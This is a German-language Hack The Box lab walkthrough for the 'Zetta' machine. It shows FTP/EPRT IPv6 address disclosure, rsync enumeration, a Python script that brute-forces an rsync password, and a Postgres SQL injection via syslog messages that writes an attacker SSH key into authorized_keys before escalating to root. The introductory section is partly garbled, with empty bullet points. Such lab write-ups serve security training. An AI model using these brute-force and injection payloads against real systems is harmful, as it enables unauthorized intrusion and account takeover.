Hack The Box - Zetta Walkthrough FXP, IPv6, rsync, Postgres und SQLi

Bild

Ich veröffentliche weiterhin Lösungen, die zur weiteren Verarbeitung von der HackTheBox- Site gesendet wurden . Ich hoffe, dass dies zumindest jemandem hilft, sich im Bereich der Informationssicherheit zu entwickeln. In diesem Artikel lernen wir die IPv6-Serveradresse mithilfe von FXP kennen, arbeiten mit rsync und schreiben den SSH-Schlüssel mithilfe der SQL-Injection, wenn Protokolle in Postgres verarbeitet werden.

Die Verbindung zum Labor erfolgt über VPN. Es wird empfohlen, keine Verbindung von einem Arbeitscomputer oder von einem Host aus herzustellen, auf dem die für Sie wichtigen Daten verfügbar sind, da Sie in ein privates Netzwerk mit Personen gelangen, die etwas auf dem Gebiet der Informationssicherheit wissen :)

Organisationsinformationen
Speziell für diejenigen, die etwas Neues lernen und sich in einem der Bereiche Informations- und Computersicherheit entwickeln möchten, werde ich über die folgenden Kategorien schreiben und sprechen:

  • PWN;
  • (Crypto);
  • c (Network);
  • (Reverse Engineering);
  • (Stegano);
  • WEB-.

, , , .

, , Telegram . , , .

. , - , .

Aufklärung


Dieser Computer hat eine IP-Adresse 10.10.10.156, die ich zu / etc / hosts hinzufüge.

10.10.10.156    zetta.htb

Zuerst scannen wir offene Ports. Da das Scannen aller Ports mit nmap sehr lange dauert, werde ich dies zunächst mit masscan tun. Wir scannen alle TCP- und UDP-Ports von der tun0-Schnittstelle mit einer Geschwindigkeit von 500 Paketen pro Sekunde.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.156 --rate=500

Bild

Als Nächstes müssen Sie weitere Informationen zu bekannten Ports sammeln. Verwenden Sie dazu nmap mit der Option -A.

nmap -A zetta.htb -p21,22,80

Bild

Schauen Sie sich an, was auf FTP ist.

Bild

Infolgedessen steht auf dem Banner, dass wir eine Verbindung über IPv6 herstellen können. Mal sehen, was sich auf dem Webserver befindet.

Bild

Wir beobachten natives FTP mit Unterstützung für FXP. Mit FXP können Dateien direkt zwischen zwei FTP-Servern übertragen werden, ohne dass sie auf Ihren Computer heruntergeladen werden müssen. Während einer FXP-Sitzung öffnet der Client zwei FTP-Verbindungen zu zwei verschiedenen Servern und fordert eine Datei auf dem ersten Server an, wobei die IP-Adresse des zweiten Servers im Befehl PORT angegeben wird.

Bild

Wenn wir ein wenig scrollen, finden wir den Benutzernamen und das Passwort für FTP. Nach Eingabe der Anmeldeinformationen wird uns mitgeteilt, dass FXP unterstützt wird.

Bild

Aber entweder befinden sich keine Dateien auf dem Server oder sie werden uns nicht übergeben. Da dieser Server jedoch FXP unterstützt, können wir uns als ein anderer Server ausgeben. Der Zielserver hat eine Verbindung initiiert. Daher werden wir seine IPv6-Adresse gemäß RFC 2428 offenlegen.

Bild

Bild

Dies ist für das weitere Scannen erforderlich, da der Host möglicherweise über Dienste verfügt, die nur IPv6-Verbindungen akzeptieren. Wir müssen also unsere Adresse kennen.

Bild

Mit tcpdump verfolgen wir den Datenverkehr zu Port 4321.

Bild

Und mit Netcat stellen wir eine Verbindung zu FTP her und geben die Anmeldeinformationen an.

nc zetta.htb 21

Bild

Und jetzt senden wir die EPRT-Anfrage.

Bild

Und wir beobachten die IPv6-Adresse des Zielhosts.

Bild

Schreiben Sie es nun in / etc / hosts anstelle von IPv4 und scannen Sie alle Ports mit nmap, indem Sie die Option -6 hinzufügen.

nmap -6 zetta.htb -p-

Bild

Jetzt erhalten wir weitere Informationen mit der Option -A.

nmap -A -6 zetta.htb -p21,22,80,8730

Bild

Einstiegspunkt


Rsync (Remote Synchronization) ist ein Programm für UNIX-ähnliche Systeme, das Dateien und Verzeichnisse an zwei Stellen synchronisiert und gleichzeitig den Datenverkehr minimiert. Rsync kann den Inhalt eines Verzeichnisses kopieren oder anzeigen und Dateien kopieren, optional mithilfe von Komprimierung und Rekursion. rsync überträgt nur Dateiänderungen, was sich auf die Programmleistung auswirkt. Sehen wir uns die Liste der Module an.

rsync -6 --list-only rsync://zetta.htb:8730/

Bild

Einige wichtige Verzeichnisse fehlen in dieser Liste. Das Verzeichnis etc war jedoch verfügbar.

rsync -6 -av rsync://zetta.htb:8730/etc/rsync*

Bild

Wir lesen rsyncd.conf für diese Datei auf dem lokalen Computer.

rsync -6 -a rsync://zetta.htb:8730/etc/rsyncd.conf .

Bild

Die Konfiguration hat ein verstecktes Modul - home_roy, das auf das Home-Verzeichnis des Benutzers roy verweist. Es ist passwortgeschützt vor rsyncd.secrets, steht uns jedoch nicht zur Verfügung.

rsync -6 rsync://zetta.htb:8730/home_roy/

Bild

BENUTZER


Wenn es keine Ideen mehr gab, musste ich das Passwort aussortieren. Hierzu wurde Python-Code geschrieben und eine Liste von Passwörtern aus Seclists verwendet.

#!/usr/bin/python3

def clear():
    sys.stdout.write("\033[F")
    sys.stdout.write("\033[K")

from pwn import *

with open("/usr/share/seclists/Passwords/Common-Credentials/500-worst-passwords.txt", "r") as f:
    passwords = f.read().split('\n')

for password in passwords:
    s = process(["rsync", "-6", "rsync://roy@zetta.htb:8730/home_roy"], env={"RSYNC_PASSWORD":password})
    clear()
    clear()
    print(("password: " + password).ljust(30, " "), end="\r\r")
    
    s.recvuntil("\"Cloud sync\".\n\n\n")
    if b"@ERROR:" not in s.recv():
        print("found!!!")
        break
    s.close()
clear()

Bild

Nachdem wir das Passwort kennen, generieren wir den SSH-Schlüssel und laden ihn auf den Server hoch.

Bild

Bild

Bild

Und wenn wir uns mit diesem Schlüssel über SSH verbinden, nehmen wir das Benutzertoken.

Bild

WURZEL


Neben dem Token befindet sich ein Hinweis - eine Liste von Aufgaben.

Bild

Öffnen wir sie.

todo .tudu.xml

Bild

Sehen wir uns alle geplanten Aufgaben an. Der Server verwendet Git.

Bild

In diesem Fall werden die Ereignisprotokolle in der Datenbank gespeichert.

Bild

Und plant auch, das Passwort zu ändern, was im Moment wie eine bestimmte Art aussieht.

Bild

Das erste, was wir tun, ist zu git zu gehen, da wir dort den Verlauf der Konfigurationsänderungen sehen können. Suchen Sie alle .git-Verzeichnisse auf dem Server.

Bild

Wir sind am meisten am rsyslog-Journal interessiert, daher kopiere ich sein gesamtes Repository auf den lokalen Computer.

Bild

Jetzt gehen wir in das Verzeichnis mit dem geladenen Repository und verwenden gitk (die grafische Oberfläche ist eine Kleinigkeit, aber praktisch).

Bild

Wir sehen die Anmeldeinformationen, aber wenn wir sie verwenden, schlagen wir fehl. Außerdem können Sie im Repository die Vorlage sehen, nach der die Protokolle in der Datenbank abgelegt werden. Protokolle werden im Protokoll /var/log/postgresql/postgresql-11-main.log gespeichert, auf das die Administratorgruppe zugreifen kann, der wir angehören.

Bild

Da es sich um eine Datenbank handelt, können Sie die Injektion ausprobieren. Wir erstellen Ereignisse für die Aufzeichnung mit dem Logger und überwachen gleichzeitig in Echtzeit, was in das Protokoll gelangt (zur Vereinfachung können Sie qterminal mit einem geteilten Fenster verwenden), indem Sie watch verwenden.

watch -n 1 cat postgresql-11-main.log

Und senden Sie die Veranstaltung.

logger -p local7.info "'"

Bild

Und es tritt ein Fehler auf, der auf eine mögliche Injektion hinweist. Wenn wir uns / etc / passwd ansehen, stellen wir fest, dass der Benutzer des Postgres-Dienstes die Shell / bin / bash hat.

Bild

Somit können wir uns über ssh anmelden. Dadurch erhalten wir Zugriff auf die Postgres-Datei, einschließlich des Befehlsverlaufs. Lassen Sie uns prüfen, ob wir eine Datei mit Injection schreiben können.

logger -p local7.info "qwerty',\$\$2020-02-02\$\$);DROP TABLE if exists ralf;CREATE TABLE ralf(t TEXT);INSERT INTO ralf(t) VALUES(\$\$RALF\$\$);SELECT * FROM ralf;COPY ralf(t) TO \$\$/tmp/ralf\$\$;-- -"

Bild

Fein. Wir generieren den SSH-Schlüssel und schreiben den öffentlichen Schlüssel auf den Server im Home-Verzeichnis des Postgres-Benutzerdienstes: /var/lib/postgresql/.ssh/authorized_keys.

Bild

logger -p local7.info -s "qwerty',\$\$2020-02-02\$\$);DROP TABLE if exists ralf;CREATE TABLE ralf(t TEXT);INSERT INTO ralf(t) VALUES(\$\$ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRC9/M7mhpZ/0Rs/HyPIC58k3qDu3xRVmMgt/gky8VCpH49WVkkLpW0tFNL1Z7d/NN8efres0+aG7VJXop20P4uO7BT4ikK8ccDzXKHlSVPweevKu8AAVqu98mKxXJBNI/uQ1giv+zwS23hbe5DQTGldeOSPzClxal8sj99kqCk1aN8Cs7I6+vBcOkHoMVKB8dR9Hu0ZwvLzvWDnnBR1txmjrNDPt25I+2gNc3JYvqIS2QIV2DSdh5UoFKVzA27Mav3A0yL6zJjUynnluAa27HMsKdvrfA0Q5zIY3F/snHCl4X/wxZh4o9bnfxUFt6OC0sLxk5ro1Vw6EjgACZj+aFoFXBMgX59YpUVtXbXvN/ACMkIyLh/f7CvqWDD9sppZtcBKVYB1jzlqIG5ekgv55aCrTeX9CuS9YbZrrjZC2Dos7YTOwD9TBItlR8VcU0JcR1GiS+GHZv0Rm9pizHchOiPocWqdryoGqfTfCav4AvrhDHtzk4P/C1fa3flwb3NxE= root@Ralf-PC\$\$);SELECT * FROM ralf;COPY ralf(t) TO \$\$/var/lib/postgresql/.ssh/authorized_keys\$\$;-- -"

Jetzt lass uns über ssh gehen.

ssh -i psg_id_rsa postgres@zetta.htb

Bild

Wir betrachten die Geschichte der Postgres.

Bild

Und wir finden das Passwort. Wir rufen die Kennwortregel aus der Aufgabenliste ab, ersetzen den Benutzer durch root und melden uns an.

Bild

Wir sind mit vollen Rechten!

Sie können sich uns per Telegramm anschließen . Stellen wir eine Community zusammen, in der es Menschen gibt, die sich in vielen Bereichen der IT auskennen. Dann können wir uns in Fragen der IT und der Informationssicherheit immer gegenseitig helfen.

All Articles